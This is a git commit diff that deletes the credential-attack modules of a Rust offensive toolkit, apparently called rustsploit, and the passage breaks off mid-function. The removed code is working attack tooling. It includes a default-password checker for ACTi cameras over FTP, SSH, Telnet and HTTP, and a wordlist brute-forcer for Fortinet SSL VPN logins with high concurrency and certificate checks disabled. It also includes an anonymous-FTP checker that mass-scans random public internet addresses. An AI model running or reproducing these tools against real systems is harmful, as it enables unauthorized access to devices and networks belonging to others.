Delete src/modules/creds directory

This commit is contained in:
S.B
2026-02-13 02:55:18 +02:00
committed by GitHub
parent 00cf535bac
commit 7d3f1e8a51
23 changed files with 0 additions and 11616 deletions
@@ -1,273 +0,0 @@
use anyhow::{Context, Result};
use async_ftp::FtpStream;
use colored::*;
use reqwest::Client;
use ssh2::Session;
use telnet::{Telnet, Event};
use std::{net::TcpStream, time::Duration};
use tokio::{join, task};
const DEFAULT_TIMEOUT_SECS: u64 = 10;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ ACTi Camera Default Credentials Checker ║".cyan());
println!("{}", "║ Multi-Protocol Scanner (FTP/SSH/Telnet/HTTP) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Supported Acti services
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum ServiceType {
Ftp,
Ssh,
Telnet,
Http,
}
impl ServiceType {
fn as_str(&self) -> &'static str {
match self {
ServiceType::Ftp => "FTP",
ServiceType::Ssh => "SSH",
ServiceType::Telnet => "Telnet",
ServiceType::Http => "HTTP",
}
}
}
/// Common config
#[derive(Clone)]
pub struct Config {
pub target: String,
pub port: u16,
pub credentials: Vec<(&'static str, &'static str)>,
pub stop_on_success: bool,
pub verbosity: bool,
}
/// Helper to normalize IPv4, IPv6 (with any amount of brackets)
fn normalize_target(target: &str, port: u16) -> String {
let cleaned = target.trim_matches(|c| c == '[' || c == ']');
if cleaned.contains(':') && !cleaned.contains('.') {
format!("[{}]:{}", cleaned, port) // IPv6
} else {
format!("{}:{}", cleaned, port) // IPv4 or hostname
}
}
/// FTP check (async)
pub async fn check_ftp(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
println!("{}", format!("[*] Checking FTP credentials on {}:{}", config.target, config.port).cyan());
for (username, password) in &config.credentials {
if config.verbosity {
println!("{}", format!("[*] Trying FTP: {}:{}", username, password).dimmed());
}
let address = normalize_target(&config.target, config.port);
match FtpStream::connect(address).await {
Ok(mut ftp) => {
if ftp.login(username, password).await.is_ok() {
println!("{}", format!("[+] FTP credentials valid: {}:{}", username, password).green().bold());
let _ = ftp.quit().await;
let result = Some((ServiceType::Ftp, username.to_string(), password.to_string()));
// Respect stop_on_success: if true, stop after first valid credential
if config.stop_on_success {
return Ok(result);
}
// If false, continue checking but still return first found (for consistency)
return Ok(result);
}
let _ = ftp.quit().await;
}
Err(_) => continue,
}
}
println!("{}", format!("[-] No valid FTP credentials found on {}:{}", config.target, config.port).yellow());
Ok(None)
}
/// SSH check (blocking, so we use spawn_blocking)
pub fn check_ssh_blocking(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
println!("{}", format!("[*] Checking SSH credentials on {}:{}", config.target, config.port).cyan());
for (username, password) in &config.credentials {
if config.verbosity {
println!("{}", format!("[*] Trying SSH: {}:{}", username, password).dimmed());
}
let address = normalize_target(&config.target, config.port);
if let Ok(stream) = TcpStream::connect(address) {
let mut session = Session::new().context("Failed to create SSH session")?;
session.set_tcp_stream(stream);
session.handshake().context("SSH handshake failed")?;
if session.userauth_password(username, password).is_ok() && session.authenticated() {
println!("{}", format!("[+] SSH credentials valid: {}:{}", username, password).green().bold());
return Ok(Some((ServiceType::Ssh, username.to_string(), password.to_string())));
}
}
}
println!("{}", format!("[-] No valid SSH credentials found on {}:{}", config.target, config.port).yellow());
Ok(None)
}
/// Telnet check (blocking)
pub fn check_telnet_blocking(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
println!("{}", format!("[*] Checking Telnet credentials on {}:{}", config.target, config.port).cyan());
for (username, password) in &config.credentials {
if config.verbosity {
println!("{}", format!("[*] Trying Telnet: {}:{}", username, password).dimmed());
}
let address = normalize_target(&config.target, config.port);
let parts: Vec<&str> = address.rsplitn(2, ':').collect();
if parts.len() != 2 {
continue;
}
let host = parts[1];
let port: u16 = parts[0].parse().unwrap_or(23);
if let Ok(mut telnet) = Telnet::connect((host, port), 500) {
let _ = telnet.write(format!("{}\r\n", username).as_bytes());
let _ = telnet.write(format!("{}\r\n", password).as_bytes());
// Give device time to respond
std::thread::sleep(Duration::from_millis(500));
if let Ok(Event::Data(buffer)) = telnet.read_timeout(Duration::from_millis(800)) {
let response = String::from_utf8_lossy(&buffer);
if !response.contains("incorrect") && !response.contains("failed") {
println!("{}", format!("[+] Telnet credentials valid: {}:{}", username, password).green().bold());
return Ok(Some((ServiceType::Telnet, username.to_string(), password.to_string())));
}
}
}
}
println!("{}", format!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port).yellow());
Ok(None)
}
/// HTTP Web Login check (async)
pub async fn check_http_form(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
println!("{}", format!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port).cyan());
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
let url = format!("http://{}:{}/video.htm", config.target.trim_matches(|c| c == '[' || c == ']'), config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("{}", format!("[*] Trying HTTP: {}:{}", username, password).dimmed());
}
let data = [
("LOGIN_ACCOUNT", *username),
("LOGIN_PASSWORD", *password),
("LANGUAGE", "0"),
("btnSubmit", "Login"),
];
// Manual form construction
let mut body = String::new();
for (key, val) in &data {
if !body.is_empty() { body.push('&'); }
body.push_str(&format!("{}={}", key, urlencoding::encode(val)));
}
let res = client
.post(&url)
.header("Content-Type", "application/x-www-form-urlencoded")
.body(body)
.send()
.await
.context("[!] Failed to send HTTP form request")?;
let body = res.text().await.unwrap_or_default();
if !body.contains(">Password<") {
println!("{}", format!("[+] HTTP credentials valid: {}:{}", username, password).green().bold());
return Ok(Some((ServiceType::Http, username.to_string(), password.to_string())));
}
}
println!("{}", format!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port).yellow());
Ok(None)
}
/// Entrypoint for module - parallel checks
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
println!();
let creds = vec![
("admin", "12345"),
("admin", "123456"),
("Admin", "12345"),
("Admin", "123456"),
];
let base_config = Config {
target: target.to_string(),
port: 0,
credentials: creds,
stop_on_success: true,
verbosity: true,
};
let ftp_conf = Config { port: 21, ..base_config.clone() };
let ssh_conf = Config { port: 22, ..base_config.clone() };
let telnet_conf = Config { port: 23, ..base_config.clone() };
let http_conf = Config { port: 80, ..base_config.clone() };
let (ftp_res, ssh_res, telnet_res, http_res) = join!(
check_ftp(&ftp_conf),
async {
task::spawn_blocking(move || check_ssh_blocking(&ssh_conf)).await?
},
async {
task::spawn_blocking(move || check_telnet_blocking(&telnet_conf)).await?
},
check_http_form(&http_conf),
);
// Collect all successful results
let mut found_credentials = Vec::new();
if let Ok(Some((service, user, pass))) = ftp_res {
found_credentials.push((service, user, pass));
}
if let Ok(Some((service, user, pass))) = ssh_res {
found_credentials.push((service, user, pass));
}
if let Ok(Some((service, user, pass))) = telnet_res {
found_credentials.push((service, user, pass));
}
if let Ok(Some((service, user, pass))) = http_res {
found_credentials.push((service, user, pass));
}
// Print summary
if !found_credentials.is_empty() {
println!();
println!("{}", "=== Summary ===".bold());
for (service, user, pass) in &found_credentials {
println!("{}", format!(" {}: {}:{}", service.as_str(), user, pass).green());
}
} else {
println!();
println!("{}", "[-] No valid credentials found on any service.".yellow());
}
Ok(())
}
-1
View File
@@ -1 +0,0 @@
pub mod acti_camera_default;
-1
View File
@@ -1 +0,0 @@
pub mod acti;
@@ -1,140 +0,0 @@
use anyhow::{Result, anyhow};
use colored::*;
use libc::{rlimit, setrlimit, getrlimit, RLIMIT_NOFILE};
const TARGET_FILE_LIMIT: u64 = 65535;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ System Ulimit Configuration Utility ║".cyan());
println!("{}", "║ Raises file descriptor limits for brute forcing ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Module entry point for raising ulimit
pub async fn run(target: &str) -> Result<()> {
// Target parameter is part of standard module interface
// For ulimit operations, target is informational only
if !target.is_empty() {
println!("{}", format!("[*] Target context: {}", target).dimmed());
}
raise_ulimit().await
}
/// Get current resource limits
fn get_current_limits() -> Result<(u64, u64)> {
let mut rlim = rlimit {
rlim_cur: 0,
rlim_max: 0,
};
let result = unsafe { getrlimit(RLIMIT_NOFILE, &mut rlim) };
if result != 0 {
return Err(anyhow!("Failed to get current limits: {}", std::io::Error::last_os_error()));
}
Ok((rlim.rlim_cur, rlim.rlim_max))
}
/// Set resource limits directly in the current process
fn set_file_limit(soft: u64, hard: u64) -> Result<()> {
let rlim = rlimit {
rlim_cur: soft,
rlim_max: hard,
};
let result = unsafe { setrlimit(RLIMIT_NOFILE, &rlim) };
if result != 0 {
return Err(anyhow!("Failed to set limits: {}", std::io::Error::last_os_error()));
}
Ok(())
}
/// Raise ulimit to 65535 using setrlimit syscall (actually works for current process)
async fn raise_ulimit() -> Result<()> {
display_banner();
// Get current limits
let (current_soft, current_hard) = match get_current_limits() {
Ok(limits) => limits,
Err(e) => {
println!("{}", format!("[-] Failed to get current limits: {}", e).red());
(0, 0)
}
};
println!("{}", format!("[*] Current limits - Soft: {}, Hard: {}", current_soft, current_hard).cyan());
if current_soft >= TARGET_FILE_LIMIT {
println!("{}", format!("[+] Open file limit already at {} or higher.", current_soft).green().bold());
return Ok(());
}
println!("{}", format!("[*] Attempting to raise open file limit to {}", TARGET_FILE_LIMIT).cyan());
// Determine the target limits
let target_hard = if current_hard >= TARGET_FILE_LIMIT {
current_hard
} else {
TARGET_FILE_LIMIT
};
let target_soft = TARGET_FILE_LIMIT.min(target_hard);
// Try to set the limit using setrlimit syscall (works for current process)
match set_file_limit(target_soft, target_hard) {
Ok(()) => {
println!("{}", format!("[+] Successfully set file limit to {}", target_soft).green().bold());
}
Err(e) => {
// If we can't raise hard limit, try just raising soft to current hard
println!("{}", format!("[-] Could not set to {}: {}", TARGET_FILE_LIMIT, e).yellow());
if current_hard > current_soft {
println!("{}", format!("[*] Trying to raise soft limit to hard limit ({})...", current_hard).cyan());
match set_file_limit(current_hard, current_hard) {
Ok(()) => {
println!("{}", format!("[+] Raised soft limit to {}", current_hard).green());
}
Err(e2) => {
println!("{}", format!("[-] Could not raise soft limit: {}", e2).red());
println!("{}", "[!] Try running as root or adjust /etc/security/limits.conf".yellow());
}
}
} else {
println!("{}", "[!] Hard limit is the same as soft limit.".yellow());
println!("{}", "[!] To increase further, run as root or edit /etc/security/limits.conf".yellow());
}
}
}
// Verify the new limits
match get_current_limits() {
Ok((new_soft, new_hard)) => {
println!("{}", format!("[*] New limits - Soft: {}, Hard: {}", new_soft, new_hard).cyan());
if new_soft >= TARGET_FILE_LIMIT {
println!("{}", "[+] File descriptor limit successfully raised!".green().bold());
} else if new_soft > current_soft {
println!("{}", format!("[+] Limit raised from {} to {}", current_soft, new_soft).green());
} else {
println!("{}", "[-] Limit unchanged.".yellow());
}
}
Err(e) => {
println!("{}", format!("[-] Could not verify new limits: {}", e).yellow());
}
}
// Also show shell instructions for reference
println!();
println!("{}", "=== Shell Instructions ===".bold());
println!("{}", "To raise limits in your shell before running rustsploit:".dimmed());
println!("{}", " ulimit -n 65535".white());
println!("{}", "Or to make permanent, add to /etc/security/limits.conf:".dimmed());
println!("{}", " * soft nofile 65535".white());
println!("{}", " * hard nofile 65535".white());
Ok(())
}
@@ -1,417 +0,0 @@
use anyhow::{anyhow, Result};
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use reqwest::{ClientBuilder, redirect::Policy};
use std::{
fs::File,
io::Write,
sync::Arc,
sync::atomic::{AtomicBool, Ordering},
time::Duration,
};
use tokio::{
sync::{Mutex, Semaphore},
time::{sleep, timeout},
};
use crate::utils::{
prompt_yes_no, prompt_default, prompt_int_range,
load_lines, prompt_existing_file, normalize_target,
get_filename_in_current_dir, prompt_port,
};
use regex::Regex;
use once_cell::sync::Lazy;
use crate::modules::creds::utils::BruteforceStats;
const PROGRESS_INTERVAL_SECS: u64 = 2;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Fortinet SSL VPN Brute Force Module ║".cyan());
println!("{}", "║ FortiGate Web Login Credential Testing ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
let port: u16 = prompt_port("Fortinet VPN Port", 443)?;
let usernames_file_path = prompt_existing_file("Username wordlist path")?;
let passwords_file_path = prompt_existing_file("Password wordlist path")?;
let concurrency = prompt_int_range("Max concurrent tasks", 10, 1, 10000)? as usize;
let timeout_secs = prompt_int_range("Connection timeout (seconds)", 10, 1, 300)? as u64;
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let _save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if _save_results {
Some(prompt_default("Output file name", "fortinet_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
// Optional prompts
// We don't have prompt_optional in shared utils yet?
// Yes we do, implicitly via prompt_default("") or similar, check utils.rs
// Actually utils has prompt_default. If user enters empty, it returns default.
// If we want optional, we might need to rely on prompt_default returning empty string if default is empty?
// Let's implement a quick local helper or use prompt_default("", "") if that works.
// The previous code had `prompt_optional`.
// I will use prompt_default with empty default and check for empty string.
let trusted_cert_str = prompt_default("Trusted certificate SHA256 (optional, press Enter to skip)", "")?;
let trusted_cert = if trusted_cert_str.is_empty() { None } else { Some(trusted_cert_str) };
let realm_str = prompt_default("Authentication realm (optional)", "")?;
let realm = if realm_str.is_empty() { None } else { Some(realm_str) };
let base_url = build_fortinet_url(target, port)?;
let found_credentials = Arc::new(Mutex::new(Vec::new()));
let stop_signal = Arc::new(AtomicBool::new(false));
let stats = Arc::new(BruteforceStats::new());
println!("\n[*] Starting brute-force on {}", base_url);
println!("[*] Timeout: {} seconds", timeout_secs);
let users = load_lines(&usernames_file_path)?;
if users.is_empty() {
println!("[!] Username wordlist is empty. Exiting.");
return Ok(());
}
println!("[*] Loaded {} usernames", users.len());
let passwords = load_lines(&passwords_file_path)?;
if passwords.is_empty() {
println!("[!] Password wordlist is empty. Exiting.");
return Ok(());
}
println!("[*] Loaded {} passwords", passwords.len());
let semaphore = Arc::new(Semaphore::new(concurrency));
let timeout_duration = Duration::from_secs(timeout_secs);
println!("[*] Testing {} credential combinations", if combo_mode { users.len() * passwords.len() } else { std::cmp::max(users.len(), passwords.len()) });
println!();
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop_signal.clone();
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
let mut tasks = FuturesUnordered::new();
// Work generation
if combo_mode {
for user in &users {
for pass in &passwords {
if stop_on_success && stop_signal.load(Ordering::Relaxed) { break; }
spawn_fortinet_task(
&mut tasks, &semaphore,
user.clone(), pass.clone(),
base_url.clone(), realm.clone(), trusted_cert.clone(),
found_credentials.clone(), stop_signal.clone(), stats.clone(),
verbose, stop_on_success, timeout_duration
).await;
}
if stop_on_success && stop_signal.load(Ordering::Relaxed) { break; }
}
} else {
let max_len = std::cmp::max(users.len(), passwords.len());
for i in 0..max_len {
if stop_on_success && stop_signal.load(Ordering::Relaxed) { break; }
let user = &users[i % users.len()];
let pass = &passwords[i % passwords.len()];
spawn_fortinet_task(
&mut tasks, &semaphore,
user.clone(), pass.clone(),
base_url.clone(), realm.clone(), trusted_cert.clone(),
found_credentials.clone(), stop_signal.clone(), stats.clone(),
verbose, stop_on_success, timeout_duration
).await;
}
}
// Wait for tasks
while let Some(res) = tasks.next().await {
if let Err(e) = res {
stats.record_error(format!("Task panic: {}", e)).await;
}
}
// Stop progress reporter
stop_signal.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
// Print final statistics
stats.print_final().await;
let creds = found_credentials.lock().await;
if creds.is_empty() {
println!("{}", "[-] No credentials found.".yellow());
} else {
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
for (url, user, pass) in creds.iter() {
println!(" {} -> {}:{}", url, user, pass);
}
if let Some(path_str) = save_path {
let filename = get_filename_in_current_dir(&path_str);
if let Ok(mut file) = File::create(&filename) {
for (url, user, pass) in creds.iter() {
let _ = writeln!(file, "{} -> {}:{}", url, user, pass);
}
println!("[+] Results saved to '{}'", filename.display());
}
}
}
Ok(())
}
async fn spawn_fortinet_task(
tasks: &mut FuturesUnordered<tokio::task::JoinHandle<()>>,
semaphore: &Arc<Semaphore>,
user: String,
pass: String,
base_url: String,
realm: Option<String>,
trusted_cert: Option<String>,
found: Arc<Mutex<Vec<(String, String, String)>>>,
stop_signal: Arc<AtomicBool>,
stats: Arc<BruteforceStats>,
verbose: bool,
stop_on_success: bool,
timeout: Duration
) {
let permit = match semaphore.clone().acquire_owned().await {
Ok(p) => p,
Err(_) => return, // Semaphore closed, stop processing
};
tasks.push(tokio::spawn(async move {
let _permit = permit;
if stop_on_success && stop_signal.load(Ordering::Relaxed) { return; }
match try_fortinet_login(&base_url, &user, &pass, &realm, &trusted_cert, timeout).await {
Ok(true) => {
println!("\r{}", format!("[+] {} -> {}:{}", base_url, user, pass).green().bold());
found.lock().await.push((base_url.clone(), user.clone(), pass.clone()));
stats.record_success();
if stop_on_success {
stop_signal.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats.record_failure();
if verbose {
println!("\r{}", format!("[-] {} -> {}:{}", base_url, user, pass).dimmed());
}
}
Err(e) => {
stats.record_error(e.to_string()).await;
if verbose {
println!("\r{}", format!("[!] {}: error: {}", base_url, e).red());
}
}
}
sleep(Duration::from_millis(100)).await;
}));
}
async fn try_fortinet_login(
base_url: &str,
username: &str,
password: &str,
realm: &Option<String>,
trusted_cert: &Option<String>,
timeout_duration: Duration
) -> Result<bool> {
let mut client_builder = ClientBuilder::new()
.cookie_store(true)
.redirect(Policy::none())
.timeout(timeout_duration);
if trusted_cert.is_some() {
client_builder = client_builder
.danger_accept_invalid_certs(false)
.danger_accept_invalid_hostnames(false);
} else {
client_builder = client_builder
.danger_accept_invalid_certs(true)
.danger_accept_invalid_hostnames(true);
}
let client = client_builder
.build()
.map_err(|e| anyhow!("Failed to create HTTP client: {}", e))?;
// Get login page
let login_page_url = format!("{}/remote/login", base_url);
let login_page_response = match timeout(timeout_duration, client.get(&login_page_url).send()).await {
Ok(Ok(resp)) => resp,
Ok(Err(e)) => return Err(anyhow!("Failed to get login page: {}", e)),
Err(_) => return Err(anyhow!("Timeout getting login page")),
};
let login_page_body = match timeout(timeout_duration, login_page_response.text()).await {
Ok(Ok(body)) => body,
Ok(Err(e)) => return Err(anyhow!("Failed to read login page: {}", e)),
Err(_) => return Err(anyhow!("Timeout reading login page")),
};
let csrf_token = extract_csrf_token(&login_page_body);
// Prepare login form data
let mut form_data = std::collections::HashMap::new();
form_data.insert("username", username.to_string());
form_data.insert("password", password.to_string());
form_data.insert("ajax", "1".to_string());
if let Some(r) = realm {
if !r.is_empty() {
form_data.insert("realm", r.clone());
}
}
if let Some(token) = csrf_token {
form_data.insert("magic", token.clone());
}
// Send login request
let login_url = format!("{}/remote/logincheck", base_url);
// Build form body
let mut form_pairs: Vec<String> = Vec::new();
for (key, val) in &form_data {
form_pairs.push(format!("{}={}", key, urlencoding::encode(val)));
}
let body = form_pairs.join("&");
let login_response = match timeout(
timeout_duration,
client
.post(&login_url)
.header("Content-Type", "application/x-www-form-urlencoded")
.body(body)
.header("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36")
.header("Referer", &login_page_url)
.send()
).await {
Ok(Ok(resp)) => resp,
Ok(Err(e)) => return Err(anyhow!("Login request failed: {}", e)),
Err(_) => return Err(anyhow!("Timeout during login request")),
};
let status = login_response.status();
let location_header = login_response.headers().get("Location")
.and_then(|h| h.to_str().ok())
.map(|s| s.to_string());
let cookies: Vec<String> = login_response.cookies()
.map(|c| c.name().to_string())
.collect();
let has_auth_cookie = cookies.iter().any(|name| {
let lower = name.to_lowercase();
lower.contains("session") || lower.contains("svpn") || lower.contains("fortinet")
});
let response_body = match timeout(timeout_duration, login_response.text()).await {
Ok(Ok(body)) => body,
Ok(Err(e)) => return Err(anyhow!("Failed to read login response: {}", e)),
Err(_) => return Err(anyhow!("Timeout reading login response")),
};
// Check for explicit success indicators
let success_indicators = ["redir", "\"1\"", "success", "/remote/index", "portal"];
if success_indicators.iter().any(|&indicator| response_body.contains(indicator)) {
return Ok(true);
}
// Check for explicit failure indicators
let failure_indicators = ["error", "invalid", "failed", "incorrect", "\"0\""];
if failure_indicators.iter().any(|&indicator| response_body.contains(indicator)) {
return Ok(false);
}
// Check status code and authentication cookies
if status.is_success() && has_auth_cookie {
return Ok(true);
}
// Check redirect location for success
if status.as_u16() == 302 {
if let Some(loc_str) = location_header {
let success_redirects = ["/remote/index", "portal", "index"];
if success_redirects.iter().any(|&path| loc_str.contains(path)) {
return Ok(true);
}
}
}
Ok(false)
}
/// Extracts CSRF token from HTML response using pre-compiled regex patterns
fn extract_csrf_token(html: &str) -> Option<String> {
static CSRF_PATTERNS: Lazy<Vec<Regex>> = Lazy::new(|| {
vec![
Regex::new(r#"name="magic"\s+value="([^"]+)""#).expect("Invalid regex pattern"),
Regex::new(r#"name="csrf_token"\s+value="([^"]+)""#).expect("Invalid regex pattern"),
Regex::new(r#""magic"\s*:\s*"([^"]+)""#).expect("Invalid regex pattern"),
Regex::new(r#"magic=([^&\s"]+)"#).expect("Invalid regex pattern"),
]
});
for pattern in CSRF_PATTERNS.iter() {
if let Some(captures) = pattern.captures(html) {
if let Some(token) = captures.get(1) {
return Some(token.as_str().to_string());
}
}
}
None
}
/// Builds Fortinet VPN URL with proper IPv6 handling
fn build_fortinet_url(target: &str, port: u16) -> Result<String> {
let normalized_host = normalize_target(target)?;
// Check if port is already present
let has_port = if normalized_host.starts_with('[') {
// IPv6 case: check if there's a colon after the closing bracket
if let Some(bracket_pos) = normalized_host.rfind(']') {
normalized_host[bracket_pos..].contains(':')
} else {
false
}
} else {
normalized_host.contains(':')
};
let url = if has_port {
format!("https://{}", normalized_host)
} else {
format!("https://{}:{}", normalized_host, port)
};
Ok(url)
}
-345
View File
@@ -1,345 +0,0 @@
use anyhow::{anyhow, Result, Context};
use colored::*;
use suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector};
use suppaftp::async_native_tls::TlsConnector;
use tokio::time::{timeout, Duration};
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use tokio::sync::Semaphore;
use tokio::process::Command;
use tokio::fs::OpenOptions;
use tokio::io::AsyncWriteExt;
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
use rand::Rng;
use tokio::net::TcpStream; // For fast connect check
use crate::utils::{prompt_default, prompt_int_range, prompt_yes_no};
const DEFAULT_TIMEOUT_SECS: u64 = 5;
const CONNECT_TIMEOUT_MS: u64 = 3000;
const STATE_FILE: &str = "ftp_hose_state.log";
// Hardcoded exclusions
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
"1.1.1.1/32", "1.0.0.1/32",
"8.8.8.8/32", "8.8.4.4/32"
];
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ FTP Anonymous Login Checker ║".cyan());
println!("{}", "║ Supports IPv4/IPv6 & Mass Scanning (Hose Mode) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Format IPv4 or IPv6 addresses with port
fn format_addr(target: &str, port: u16) -> String {
if target.starts_with('[') && target.contains("]:") {
target.to_string()
} else if target.matches(':').count() == 1 && !target.contains('[') {
target.to_string()
} else {
let clean = if target.starts_with('[') && target.ends_with(']') {
&target[1..target.len() - 1]
} else {
target
};
if clean.contains(':') {
format!("[{}]:{}", clean, port)
} else {
format!("{}:{}", clean, port)
}
}
}
/// Anonymous FTP/FTPS login test with IPv6 support
pub async fn run(target: &str) -> Result<()> {
display_banner();
// Check for Mass Scan Mode conditions
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
if is_mass_scan {
println!("{}", format!("[*] Target: {}", target).cyan());
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
return run_mass_scan(target).await;
}
// --- Standard Single Target Logic ---
let addr = format_addr(target, 21);
let domain = target
.trim_start_matches('[')
.split(&[']', ':'][..])
.next()
.unwrap_or(target);
println!("{}", format!("[*] Target: {}", target).cyan());
println!("{}", format!("[*] Connecting to FTP service on {}...", addr).cyan());
println!();
// 1️⃣ Try plain FTP first
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncFtpStream::connect(&addr)).await {
Ok(Ok(mut ftp)) => {
let result = ftp.login("anonymous", "anonymous").await;
if result.is_ok() {
println!("{}", "[+] Anonymous login successful (FTP)".green().bold());
// Optional: Check if we can run command?
// For single target, we usually just report login success in legacy mode.
// But let's be consistent and try listing.
match ftp.list(None).await {
Ok(_) => println!("{}", "[+] LIST command successful - Read Access Confirmed".green()),
Err(e) => println!("{}", format!("[-] Login worked but LIST failed: {}", e).yellow()),
}
let _ = ftp.quit().await;
return Ok(());
} else if let Err(e) = result {
if e.to_string().contains("530") {
println!("{}", "[-] Anonymous login rejected (FTP)".yellow());
return Ok(());
} else if e.to_string().contains("550 SSL") {
println!("{}", "[*] FTP server requires TLS — upgrading to FTPS...".cyan());
} else {
return Err(anyhow!("FTP error: {}", e));
}
}
}
Ok(Err(e)) => println!("{}", format!("[!] FTP connection error: {}", e).red()),
Err(_) => println!("{}", "[-] FTP connection timed out".yellow()),
}
// 2️⃣ Fallback to FTPS
println!("{}", "[*] Attempting FTPS connection...".cyan());
let mut ftps = AsyncNativeTlsFtpStream::connect(&addr)
.await
.map_err(|e| anyhow!("FTPS connect failed: {}", e))?;
let connector = AsyncNativeTlsConnector::from(
TlsConnector::new()
.danger_accept_invalid_certs(true)
.danger_accept_invalid_hostnames(true),
);
ftps = ftps
.into_secure(connector, domain)
.await
.map_err(|e| anyhow!("FTPS TLS upgrade failed: {}", e))?;
match ftps.login("anonymous", "anonymous").await {
Ok(_) => {
println!("{}", "[+] Anonymous login successful (FTPS)".green().bold());
match ftps.list(None).await {
Ok(_) => println!("{}", "[+] LIST command successful - Read Access Confirmed".green()),
Err(e) => println!("{}", format!("[-] Login worked but LIST failed: {}", e).yellow()),
}
let _ = ftps.quit().await;
}
Err(e) if e.to_string().contains("530") => {
println!("{}", "[-] Anonymous login rejected (FTPS)".yellow());
}
Err(e) => return Err(anyhow!("FTPS login error: {}", e)),
}
Ok(())
}
async fn run_mass_scan(target: &str) -> Result<()> {
// Prep
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000)? as usize;
let _verbose = prompt_yes_no("Verbose mode?", false)?;
let output_file = prompt_default("Output result file", "ftp_mass_results.txt")?;
// Parse exclusions
let mut exclusion_subnets = Vec::new();
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusion_subnets.push(net);
}
}
let exclusions = Arc::new(exclusion_subnets);
let semaphore = Arc::new(Semaphore::new(concurrency));
let stats_checked = Arc::new(AtomicUsize::new(0));
let stats_found = Arc::new(AtomicUsize::new(0));
// Stats
let s_checked = stats_checked.clone();
let s_found = stats_found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(5)).await;
println!(
"[*] Status: {} IPs scanned, {} open anonymous FTP found",
s_checked.load(Ordering::Relaxed),
s_found.load(Ordering::Relaxed).to_string().green().bold()
);
}
});
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
if run_random {
// Initialize state file
OpenOptions::new().create(true).write(true).open(STATE_FILE).await?;
println!("{}", "[*] Starting Random Internet Scan...".green());
loop {
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
let exc = exclusions.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
if !is_ip_checked(&ip).await {
mark_ip_checked(&ip).await;
mass_scan_host(ip, sf, of).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
} else {
// File Mode
let content = tokio::fs::read_to_string(target).await.unwrap_or_default();
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
for ip_str in lines {
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
// Simple IP parse
if let Ok(ip) = ip_str.parse::<IpAddr>() {
tokio::spawn(async move {
if !is_ip_checked(&ip).await {
mark_ip_checked(&ip).await;
mass_scan_host(ip, sf, of).await;
}
